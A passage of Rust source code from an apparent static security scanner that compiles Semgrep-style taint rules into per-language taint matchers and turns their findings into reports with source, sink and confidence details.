GenericMatcher::MethodName {
method,
description,
} => php_taint::NodeMatcher::MethodName {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::CallRegex { regex, description } => php_taint::NodeMatcher::CallRegex {
regex: regex.clone(),
description: description.clone(),
},
GenericMatcher::MethodNameRegex { regex, description } => {
php_taint::NodeMatcher::MethodNameRegex {
regex: regex.clone(),
description: description.clone(),
}
}
GenericMatcher::ReceiverCall {
receiver,
description,
} => php_taint::NodeMatcher::ReceiverCall {
receiver: receiver.clone(),
description: description.clone(),
},
GenericMatcher::FieldName { field, description } => php_taint::NodeMatcher::FieldName {
field: field.clone(),
description: description.clone(),
},
GenericMatcher::Subscript { base, description } => php_taint::NodeMatcher::Subscript {
base: base.clone(),
description: description.clone(),
},
GenericMatcher::MemberAssign { field, description } => {
php_taint::NodeMatcher::MemberAssign {
field: field.clone(),
description: description.clone(),
}
}
GenericMatcher::BinopFormat { description } => php_taint::NodeMatcher::BinopFormat {
description: description.clone(),
},
GenericMatcher::ObjectLiteralValue { description } => {
php_taint::NodeMatcher::ObjectLiteralValue {
description: description.clone(),
}
}
GenericMatcher::ReturnValue { description } => php_taint::NodeMatcher::ReturnValue {
description: description.clone(),
},
GenericMatcher::TypedName {
type_name,
description,
} => php_taint::NodeMatcher::TypedName {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::TypedAssignTarget {
type_name,
description,
} => php_taint::NodeMatcher::TypedAssignTarget {
type_name: type_name.clone(),
description: description.clone(),
},
GenericMatcher::LiteralString { description, regex } => {
php_taint::NodeMatcher::LiteralString {
description: description.clone(),
regex: regex.clone(),
}
}
GenericMatcher::LooseEquality { description } => php_taint::NodeMatcher::LooseEquality {
description: description.clone(),
},
GenericMatcher::TaintedCallee { description } => php_taint::NodeMatcher::TaintedCallee {
description: description.clone(),
},
GenericMatcher::TaintedSubscriptKey { base, description } => {
php_taint::NodeMatcher::TaintedSubscriptKey {
base: base.clone(),
description: description.clone(),
}
}
GenericMatcher::CallArgSource {
method,
arg_index,
description,
} => php_taint::NodeMatcher::CallArgSource {
method: method.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::FirstParamSource { description } => {
php_taint::NodeMatcher::FirstParamSource {
description: description.clone(),
}
}
GenericMatcher::DecoratedParamSource {
decorator,
description,
} => php_taint::NodeMatcher::DecoratedParamSource {
decorator: decorator.clone(),
description: description.clone(),
},
GenericMatcher::CallArgConcat {
method,
description,
} => php_taint::NodeMatcher::CallArgConcat {
method: method.clone(),
description: description.clone(),
},
GenericMatcher::ConstructorArgSink {
class_names,
arg_index,
description,
} => php_taint::NodeMatcher::ConstructorArgSink {
class_names: class_names.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::PropertyAssignSink {
property_names,
description,
} => php_taint::NodeMatcher::PropertyAssignSink {
property_names: property_names.clone(),
description: description.clone(),
},
GenericMatcher::MethodArgSink {
methods,
arg_index,
description,
} => php_taint::NodeMatcher::MethodArgSink {
methods: methods.clone(),
arg_index: *arg_index,
description: description.clone(),
},
GenericMatcher::ReceiverProvenanceCall {
init_receiver,
init_method,
init_arg,
method,
description,
} => php_taint::NodeMatcher::ReceiverProvenanceCall {
init_receiver: init_receiver.clone(),
init_method: init_method.clone(),
init_arg: init_arg.clone(),
method: method.clone(),
description: description.clone(),
},
GenericMatcher::LiteralArgCall {
method,
arg,
description,
} => php_taint::NodeMatcher::LiteralArgCall {
method: method.clone(),
arg: arg.clone(),
description: description.clone(),
},
}
}
pub struct SemgrepTaintRule {
pub id: String,
pub message: String,
pub severity: Severity,
pub cwe: Option<String>,
pub lang: Language,
spec: GenericSpec,
negatives: TaintNegatives,
insides: TaintInsides,
propagators: Vec<crate::rules::taint_engine::Propagator>,
label_policy: Option<crate::rules::taint_engine::LabelPolicy>,
}
struct TaintFindingView {
sink_start_byte: usize,
sink_end_byte: usize,
sink_line: usize,
sink_column: usize,
sink_end_line: usize,
sink_end_column: usize,
source_description: String,
sink_description: String,
source_line: usize,
source_range: Option<(usize, usize)>,
hops: u8,
}
impl TaintFindingView {
fn from_python(f: python_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_js(f: javascript_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_go(f: go_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_java(f: java_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_c(f: c_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_kotlin(f: kotlin_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_ruby(f: ruby_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_php(f: php_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_csharp(f: csharp_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_bash(f: bash_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_solidity(f: solidity_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_scala(f: scala_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_apex(f: apex_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
fn from_swift(f: swift_taint::TaintFinding) -> Self {
Self {
sink_start_byte: f.sink_start_byte,
sink_end_byte: f.sink_end_byte,
sink_line: f.sink_line,
sink_column: f.sink_column,
sink_end_line: f.sink_end_line,
sink_end_column: f.sink_end_column,
source_description: f.source_description,
sink_description: f.sink_description,
source_line: f.source_line,
source_range: f.source_range,
hops: f.hops,
}
}
}
impl Rule for SemgrepTaintRule {
fn id(&self) -> &str {
&self.id
}
fn severity(&self) -> Severity {
self.severity
}
fn cwe(&self) -> Option<&str> {
self.cwe.as_deref()
}
fn description(&self) -> &str {
&self.message
}
fn language(&self) -> Language {
self.lang
}
fn check(&self, source: &str, tree: &tree_sitter::Tree) -> Vec<Finding> {
self.check_with_context(source, tree, &FileContext::default())
}
fn ast_analysis_requirement(&self) -> crate::rules::AstAnalysisRequirement {
crate::rules::AstAnalysisRequirement::FileContext
}
fn check_with_context(
&self,
source: &str,
tree: &tree_sitter::Tree,
ctx: &FileContext<'_>,
) -> Vec<Finding> {
let mut raw: Vec<TaintFindingView> = match self.lang {
Language::Python => {
let spec = to_python_spec(&self.spec);
python_taint::analyze_tree(tree.root_node(), source, &spec, ctx.python_aliases)
.into_iter()
.map(TaintFindingView::from_python)
.collect()
}
Language::JavaScript => {
let spec = to_js_spec(&self.spec);
javascript_taint::analyze_tree(
tree.root_node(),
source,
&spec,
ctx.javascript_aliases,
)
.into_iter()
.map(TaintFindingView::from_js)
.collect()
}
Language::Go => {
let spec = to_go_spec(&self.spec);
go_taint::analyze_tree_labeled(
tree.root_node(),
source,
&spec,
ctx.go_aliases,
self.label_policy.as_ref(),
)
.into_iter()
.map(TaintFindingView::from_go)
.collect()
}
Language::Java => {
let spec = to_java_spec(&self.spec);
java_taint::analyze_tree_labeled(
tree.root_node(),
source,
&spec,
None,
&self.propagators,
self.label_policy.as_ref(),
)
.into_iter()
.map(TaintFindingView::from_java)
.collect()
}
Language::C => {
let spec = to_c_spec(&self.spec);
c_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_c)
.collect()
}
Language::Kotlin => {
let spec = to_kotlin_spec(&self.spec);
kotlin_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_kotlin)
.collect()
}
Language::Ruby => {
let spec = to_ruby_spec(&self.spec);
ruby_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_ruby)
.collect()
}
Language::Php => {
let spec = to_php_spec(&self.spec);
php_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_php)
.collect()
}
Language::CSharp => {
let spec = to_csharp_spec(&self.spec);
csharp_taint::analyze_tree_with_propagators(
tree.root_node(),
source,
&spec,
None,
&self.propagators,
)
.into_iter()
.map(TaintFindingView::from_csharp)
.collect()
}
Language::Bash => {
let spec = to_bash_spec(&self.spec);
bash_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_bash)
.collect()
}
Language::Solidity => {
let spec = to_solidity_spec(&self.spec);
solidity_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_solidity)
.collect()
}
Language::Scala => {
let spec = to_scala_spec(&self.spec);
scala_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_scala)
.collect()
}
Language::Apex => {
let spec = to_apex_spec(&self.spec);
apex_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_apex)
.collect()
}
Language::Swift => {
let spec = to_swift_spec(&self.spec);
swift_taint::analyze_tree(tree.root_node(), source, &spec, None)
.into_iter()
.map(TaintFindingView::from_swift)
.collect()
}
_ => Vec::new(),
};
if !self.negatives.sink.is_empty() {
let root = tree.root_node();
raw.retain(|t| {
!self
.negatives
.sink
.iter()
.any(|neg| neg.overlaps_range(root, source, t.sink_start_byte, t.sink_end_byte))
});
}
if !self.insides.sink.is_empty() {
let root = tree.root_node();
raw.retain(|t| {
self.insides.sink.iter().any(|inside| {
inside.contains_range(root, source, t.sink_start_byte, t.sink_end_byte)
})
});
}
if !self.insides.source.is_empty() {
let root = tree.root_node();
raw.retain(|t| match t.source_range {
Some((s, e)) => self
.insides
.source
.iter()
.any(|inside| inside.contains_range(root, source, s, e)),
None => false,
});
}
if !self.negatives.source.is_empty() {
let root = tree.root_node();
raw.retain(|t| match t.source_range {
Some((s, e)) => !self
.negatives
.source
.iter()
.any(|neg| neg.overlaps_range(root, source, s, e)),
None => true,
});
}
raw.into_iter()
.map(|t| Finding {
rule_id: self.id.clone(),
severity: self.severity,
cwe: self.cwe.clone(),
description: format!(
"{} — {} reaches {}",
self.message, t.source_description, t.sink_description
),
file: String::new(),
line: t.sink_line,
column: t.sink_column,
end_line: t.sink_end_line,
end_column: t.sink_end_column,
snippet: get_source_line(source, t.sink_start_byte),
source_line: Some(t.source_line),
source_description: Some(t.source_description),
sink_line: Some(t.sink_line),
sink_description: Some(t.sink_description),
fix_suggestion: None,
sink_start_byte: None,
sink_end_byte: None,
confidence: crate::rules::common::confidence_for_hops(t.hops),
taint_hops: Some(t.hops),
tags: vec![],
crypto_algorithm: None,
cnsa2_deadline: None,
dep_name: None,
dep_version: None,
dep_ecosystem: None,
dep_purl: None,
dep_vulnerability_id: None,
dep_fixed_version: None,
dep_source: None,
dep_vulnerability_severity: None,
dep_path: vec![],
crypto_material: None,
})
.collect()
}
}
#[allow(clippy::large_enum_variant)]
pub enum TaintRuleParse {
Compiled(SemgrepTaintRule),
Skip(String),
NotTaint,
}
enum LabelDetect {
None,
Unsupported,
Policy(crate::rules::taint_engine::LabelPolicy),
}
fn is_single_label_token(s: &str) -> bool {
let s = s.trim();
!s.is_empty()
&& s.chars()
.next()
.is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
&& s.chars().all(|c| c.is_ascii_alphanumeric() || c == '_')
&& !matches!(s, "not" | "and" | "or" | "NOT" | "AND" | "OR")
}
fn detect_label_policy(yaml: &YamlValue) -> LabelDetect {
let empty: Vec<YamlValue> = Vec::new();
let seq = |key: &str| -> Vec<YamlValue> {
yaml.get(key)
.and_then(YamlValue::as_sequence)
.cloned()
.unwrap_or_else(|| empty.clone())
};
let sources = seq("pattern-sources");
let propagators = seq("pattern-propagators");
let sinks = seq("pattern-sinks");
let mut any_labels = false;
let mut primary_labels: std::collections::BTreeSet<String> = std::collections::BTreeSet::new();
let mut relabels: Vec<(String, String)> = Vec::new();
for entry in sources.iter().chain(propagators.iter()) {
let label = entry.get("label").and_then(YamlValue::as_str);
let requires = entry.get("requires").and_then(YamlValue::as_str);
if label.is_some() || requires.is_some() {
any_labels = true;
}
match (label, requires) {
(Some(l), None) => {
if !is_single_label_token(l) {
return LabelDetect::Unsupported;
}
primary_labels.insert(l.trim().to_string());
}
(Some(l), Some(r)) => {
if !is_single_label_token(r) || !is_single_label_token(l) {
return LabelDetect::Unsupported;
}
relabels.push((r.trim().to_string(), l.trim().to_string()));
}
(None, Some(_)) => return LabelDetect::Unsupported,
(None, None) => {}
}
}
let mut sink_requires_str: Option<String> = None;
for entry in &sinks {
if entry.get("label").is_some() {
return LabelDetect::Unsupported;
}
match entry.get("requires").and_then(YamlValue::as_str) {
Some(r) => {
any_labels = true;
let r = r.trim().to_string();
match &sink_requires_str {
None => sink_requires_str = Some(r),
Some(existing) if *existing == r => {}
Some(_) => return LabelDetect::Unsupported,
}
}
None => return LabelDetect::Unsupported,
}
}
if !any_labels {
return LabelDetect::None;
}
let (Some(l1), 1) = (primary_labels.iter().next().cloned(), primary_labels.len()) else {
return LabelDetect::Unsupported;
};
let Some(req_str) = sink_requires_str else {
return LabelDetect::Unsupported;
};
let Some(sink_requires) = parse_requires_expr(&req_str) else {
return LabelDetect::Unsupported;
};
let mut producible: std::collections::BTreeSet<String> = std::collections::BTreeSet::new();
producible.insert(l1.clone());
for (_, to) in &relabels {
producible.insert(to.clone());
}
for (from, _to) in &relabels {
if !producible.contains(from) {
return LabelDetect::Unsupported;
}
}
let mut referenced = std::collections::BTreeSet::new();
sink_requires.referenced_labels(&mut referenced);
if !referenced.iter().all(|l| producible.contains(l)) {
return LabelDetect::Unsupported;
}
let relabels = relabels
.into_iter()
.map(|(from, to)| crate::rules::taint_engine::Relabel { from, to })
.collect();
LabelDetect::Policy(crate::rules::taint_engine::LabelPolicy {
source_label: l1,
relabels,
sink_requires,
})
}
fn parse_requires_expr(s: &str) -> Option<crate::rules::taint_engine::RequiresExpr> {
let spaced = s.replace('(', " ( ").replace(')', " ) ");
let toks: Vec<&str> = spaced.split_whitespace().collect();
if toks.is_empty() {
return None;
}
let mut pos = 0usize;
let expr = parse_requires_or(&toks, &mut pos)?;
if pos != toks.len() {
return None;
}
Some(expr)
}
fn parse_requires_or(
toks: &[&str],
pos: &mut usize,
) -> Option<crate::rules::taint_engine::RequiresExpr> {
use crate::rules::taint_engine::RequiresExpr;
let mut left = parse_requires_and(toks, pos)?;
while toks.get(*pos).is_some_and(|t| t.eq_ignore_ascii_case("or")) {
*pos += 1;
let right = parse_requires_and(toks, pos)?;
left = RequiresExpr::Or(Box::new(left), Box::new(right));
}
Some(left)
}
fn parse_requires_and(
toks: &[&str],
pos: &mut usize,
) -> Option<crate::rules::taint_engine::RequiresExpr> {
use crate::rules::taint_engine::RequiresExpr;
let mut left = parse_requires_not(toks, pos)?;
while toks
.get(*pos)
.is_some_and(|t| t.eq_ignore_ascii_case("and"))
{
*pos += 1;
let right = parse_requires_not(toks, pos)?;
left = RequiresExpr::And(Box::new(left), Box::new(right));
}
Some(left)
}
fn parse_requires_not(
toks: &[&str],
pos: &mut usize,
) -> Option<crate::rules::taint_engine::RequiresExpr> {
use crate::rules::taint_engine::RequiresExpr;
if toks
.get(*pos)
.is_some_and(|t| t.eq_ignore_ascii_case("not"))
{
*pos += 1;
let inner = parse_requires_not(toks, pos)?;
return Some(RequiresExpr::Not(Box::new(inner)));
}
parse_requires_atom(toks, pos)
}
fn parse_requires_atom(
toks: &[&str],
pos: &mut usize,
) -> Option<crate::rules::taint_engine::RequiresExpr> {
use crate::rules::taint_engine::RequiresExpr;
let tok = *toks.get(*pos)?;
if tok == "(" {
*pos += 1;
let inner = parse_requires_or(toks, pos)?;
if toks.get(*pos).copied() != Some(")") {
return None;
}
*pos += 1;
return Some(inner);
}
if is_single_label_token(tok) {
*pos += 1;
return Some(RequiresExpr::Label(tok.to_string()));
}
None
}
pub fn parse_taint_rule(yaml: &YamlValue) -> TaintRuleParse {
let mode = yaml.get("mode").and_then(YamlValue::as_str);
if mode != Some("taint") {
return TaintRuleParse::NotTaint;
}
let id = match yaml.get("id").and_then(YamlValue::as_str) {
Some(s) => s.to_string(),
None => return TaintRuleParse::Skip("taint rule missing `id`".into()),
};
let lang = match yaml.get("languages").and_then(YamlValue::as_sequence) {
Some(langs) => {
let mut detected: Option<Language> = None;
for s in langs.iter().filter_map(YamlValue::as_str) {
match s.to_lowercase().as_str() {
"python" | "py" => {
detected = Some(Language::Python);
break;
}
"javascript" | "js" | "typescript" | "ts" => {
detected = Some(Language::JavaScript);
break;
}
"go" | "golang" => {
detected = Some(Language::Go);
break;
}
"java" => {
detected = Some(Language::Java);
break;
}
"c" => {
detected = Some(Language::C);
break;
}
"kotlin" | "kt" => {
detected = Some(Language::Kotlin);
break;
}
"ruby" | "rb" => {
detected = Some(Language::Ruby);
break;
}
"php" => {
detected = Some(Language::Php);
break;
}
"csharp" | "cs" | "c#" => {
detected = Some(Language::CSharp);
break;
}
"bash" | "sh" | "shell" => {
detected = Some(Language::Bash);
break;
}
"solidity" | "sol" => {
detected = Some(Language::Solidity);
break;
}
"scala" => {
detected = Some(Language::Scala);
break;
}
"apex" => {
detected = Some(Language::Apex);
break;
}
"swift" => {
detected = Some(Language::Swift);
break;
}
_ => {}
}
}
match detected {
Some(l) => l,
None => {
return TaintRuleParse::Skip(format!(
"taint rule `{}` targets unsupported languages; Python, JavaScript/TypeScript, Go, Java, C, Kotlin, Ruby, PHP, C#, Bash, Solidity, Scala, Apex, and Swift are supported",
id
));
}
}
}
None => return TaintRuleParse::Skip(format!("taint rule `{}` missing `languages`", id)),
};
let message = yaml
.get("message")
.and_then(YamlValue::as_str)
.unwrap_or("")
.to_string();
let severity_str = yaml
.get("severity")
.and_then(YamlValue::as_str)
.unwrap_or("WARNING");
let severity = map_severity(severity_str);
let cwe = extract_cwe(yaml);
let label_policy = match detect_label_policy(yaml) {
LabelDetect::Policy(p) if matches!(lang, Language::Java | Language::Go) => Some(p),
_ => None,
};
let labels_enabled = label_policy.is_some();
let (sources, source_neg_strings, source_inside_strings) = match compile_matcher_list(
yaml.get("pattern-sources"),
MatcherRole::Source,
&id,
lang,
labels_enabled,
) {
Ok(v) => v,
Err(e) => return TaintRuleParse::Skip(format!("taint rule `{}` skipped: {}", id, e)),
};
if sources.is_empty() {
return TaintRuleParse::Skip(format!(
"taint rule `{}` has no valid `pattern-sources`",
id
));
}
let (sinks, sink_neg_strings, sink_inside_strings) = match compile_matcher_list(
yaml.get("pattern-sinks"),
MatcherRole::Sink,
&id,
lang,
labels_enabled,
) {
Ok(v) => v,
Err(e) => return TaintRuleParse::Skip(format!("taint rule `{}` skipped: {}", id, e)),
};
if sinks.is_empty() {
return TaintRuleParse::Skip(format!("taint rule `{}` has no valid `pattern-sinks`", id));
}
let (sanitizers, _sanitizer_neg_strings, _sanitizer_inside_strings) = match compile_matcher_list(
yaml.get("pattern-sanitizers"),
MatcherRole::Sanitizer,
&id,
lang,
labels_enabled,
) {
Ok(v) => v,
Err(e) => return TaintRuleParse::Skip(format!("taint rule `{}` skipped: {}", id, e)),
};
let sink_negatives = compile_negative_patterns(&sink_neg_strings, lang, &id, "pattern-sinks");
let source_negatives =
compile_negative_patterns(&source_neg_strings, lang, &id, "pattern-sources");
if !source_neg_strings.is_empty() && lang != Language::Python {
eprintln!(
"Warning: taint rule `{}` has `pattern-not` constraints inside \
`pattern-sources`; source-side enforcement requires an engine that \
threads a source byte range onto findings (Python only today) — \
this rule's language does not, so the constraint is compiled but \
not enforced",
id
);
}
let propagators = compile_propagators(yaml.get("pattern-propagators"), &id);
let sink_insides = compile_inside_patterns(&sink_inside_strings, lang, &id, "pattern-sinks");
let source_insides =
compile_inside_patterns(&source_inside_strings, lang, &id, "pattern-sources");
if !source_inside_strings.is_empty() && lang != Language::Python {
eprintln!(
"Warning: taint rule `{}` has `pattern-inside` constraints inside a \
`pattern-sources` `patterns:` block; source-side enforcement requires \
an engine that threads a source byte range onto findings (Python only \
today) — this rule's language does not, so the constraint is compiled \
but not enforced",
id
);
}
TaintRuleParse::Compiled(SemgrepTaintRule {
id: format!("semgrep/{}", id),
message,
severity,
cwe,
lang,
spec: GenericSpec {
sources,
sinks,
sanitizers,
},
negatives: TaintNegatives {
sink: sink_negatives,
source: source_negatives,
},
insides: TaintInsides {
sink: sink_insides,
source: source_insides,
},
propagators,
label_policy,
})
}
fn compile_propagators(
node: Option<&YamlValue>,
rule_id: &str,
) -> Vec<crate::rules::taint_engine::Propagator> {
let Some(node) = node else {
return Vec::new();
};
let Some(seq) = node.as_sequence() else {
eprintln!(
"Warning: taint rule `{}` `pattern-propagators` must be a list; ignoring",
rule_id
);
return Vec::new();
};
let mut out = Vec::new();
for entry in seq {
let pattern = entry.get("pattern").and_then(YamlValue::as_str);
let from = entry.get("from").and_then(YamlValue::as_str);
let to = entry.get("to").and_then(YamlValue::as_str);
let (Some(pattern), Some(from), Some(to)) = (pattern, from, to) else {
eprintln!(
"Warning: taint rule `{}` propagator entry is missing `pattern`/`from`/`to`; skipping",
rule_id
);
continue;
};
match parse_arg_to_receiver_propagator(pattern, from, to) {
Some(p) => out.push(p),
None => eprintln!(
"Warning: taint rule `{}` propagator `{}` (from `{}` to `{}`) is not a supported \
argument→receiver method-call shape; deferred (potential false negative)",
rule_id, pattern, from, to
),
}
}
out
}
fn parse_arg_to_receiver_propagator(
pattern: &str,
from_mv: &str,
to_mv: &str,
) -> Option<crate::rules::taint_engine::Propagator> {
let pat = pattern.trim();
if !pat.ends_with(')') {
return None;
}
let bytes = pat.as_bytes();
let mut depth = 0i32;
let mut open_idx = None;
for i in (0..bytes.len()).rev() {
match bytes[i] {
b')' => depth += 1,
b'(' => {
depth -= 1;
if depth == 0 {
open_idx = Some(i);
break;
}
}
_ => {}
}
}
let open_idx = open_idx?;
let head = pat[..open_idx].trim_end();
let args = &pat[open_idx + 1..pat.len() - 1];
let dot = last_top_level_dot(head)?;
let receiver = head[..dot].trim();
let method = head[dot + 1..].trim();
if receiver.is_empty() || method.is_empty() {
return None;
}
if !mentions_metavar(receiver, to_mv) {
return None;
}
if !mentions_metavar(args, from_mv) {
return None;
}
let method = if method.starts_with('$') {
None
} else if is_plain_ident(method) {
Some(method.to_string())
} else {
return None;
};
let description = match &method {
Some(m) => format!("`.{m}(...)` argument taints receiver"),
None => "method-call argument taints receiver".to_string(),
};
Some(crate::rules::taint_engine::Propagator {
method,
description,
})
}
fn last_top_level_dot(s: &str) -> Option<usize> {
let mut depth = 0i32;
let mut last = None;
for (i, b) in s.bytes().enumerate() {
match b {
b'(' | b'[' => depth += 1,
b')' | b']' => depth -= 1,
b'.' if depth == 0 => last = Some(i),
_ => {}
}
}
last
}
fn mentions_metavar(haystack: &str, mv: &str) -> bool {
let mv = mv.trim();
if mv.is_empty() {
return false;
}
let hay = haystack.as_bytes();
let mut search_from = 0;
while let Some(rel) = haystack[search_from..].find(mv) {
let start = search_from + rel;
let end = start + mv.len();
let boundary_ok = hay.get(end).is_none_or(|b| !is_ident_byte(*b));
if boundary_ok {
return true;
}
search_from = start + 1;
if search_from >= haystack.len() {
break;
}
}
false
}
fn is_ident_byte(b: u8) -> bool {
b.is_ascii_alphanumeric() || b == b'_'
}
fn is_plain_ident(s: &str) -> bool {
let mut chars = s.chars();
match chars.next() {
Some(c) if c.is_ascii_alphabetic() || c == '_' => {}
_ => return false,
}
chars.all(|c| c.is_ascii_alphanumeric() || c == '_')
}
fn compile_negative_patterns(
patterns: &[String],
lang: Language,
rule_id: &str,
role_label: &str,
) -> Vec<crate::rules::semgrep_compat::CompiledAstPattern> {
let mut out = Vec::new();
for p in patterns {
match crate::rules::semgrep_compat::CompiledAstPattern::try_new(p, lang) {
Some(compiled) => out.push(compiled),
None => eprintln!(
"Warning: taint rule `{}` {} `pattern-not: {}` did not parse into \
a usable pattern; ignoring constraint (matcher stays broader)",
rule_id, role_label, p
),
}
}
out
}
fn compile_inside_patterns(
patterns: &[String],
lang: Language,
rule_id: &str,
role_label: &str,
) -> Vec<crate::rules::semgrep_compat::CompiledAstPattern> {
let mut out = Vec::new();
for p in patterns {
match crate::rules::semgrep_compat::CompiledAstPattern::try_new(p, lang) {
Some(compiled) => out.push(compiled),
None => eprintln!(
"Warning: taint rule `{}` {} `pattern-inside: {}` did not parse into \
a usable pattern; ignoring constraint (matcher stays broader)",
rule_id, role_label, p
),
}
}
out
}
#[derive(Copy, Clone)]
enum MatcherRole {
Source,
Sink,
Sanitizer,
}
impl MatcherRole {
fn label(self) -> &'static str {
match self {
MatcherRole::Source => "pattern-sources",
MatcherRole::Sink => "pattern-sinks",
MatcherRole::Sanitizer => "pattern-sanitizers",
}
}
}
#[allow(clippy::type_complexity)]
fn compile_matcher_list(
node: Option<&YamlValue>,
role: MatcherRole,
rule_id: &str,
lang: Language,
labels_enabled: bool,
) -> Result<(Vec<GenericMatcher>, Vec<String>, Vec<String>), String> {
let Some(node) = node else {
return Ok((Vec::new(), Vec::new(), Vec::new()));
};
let Some(entries) = node.as_sequence() else {
return Err(format!("{} must be a list", role.label()));
};
let mut out = Vec::new();
let mut negatives: Vec<String> = Vec::new();
let mut insides: Vec<String> = Vec::new();
for entry in entries {
compile_entry(
entry,
role,
rule_id,
lang,
labels_enabled,
&mut out,
&mut negatives,
&mut insides,
);
}
Ok((out, negatives, insides))
}
#[allow(clippy::too_many_arguments)]
fn compile_entry(
entry: &YamlValue,
role: MatcherRole,
rule_id: &str,
lang: Language,
labels_enabled: bool,
out: &mut Vec<GenericMatcher>,
negatives: &mut Vec<String>,
insides: &mut Vec<String>,
) {
let Some(map) = entry.as_mapping() else {
eprintln!(
"Warning: taint rule `{}` {} entry is not a mapping; skipping",
rule_id,
role.label()
);
return;
};
if labels_enabled {
if let MatcherRole::Source = role {
if map.get(YamlValue::from("requires")).is_some() {
return;
}
}
}
let effective_keys: Vec<(&YamlValue, &YamlValue)> = map
.iter()
.filter(|(k, _)| {
let key = k.as_str();
if key == Some("by-side-effect") {
return false;
}
if labels_enabled && matches!(key, Some("label") | Some("requires")) {
return false;
}
true
})
.collect();
if effective_keys.len() != 1 {
eprintln!(
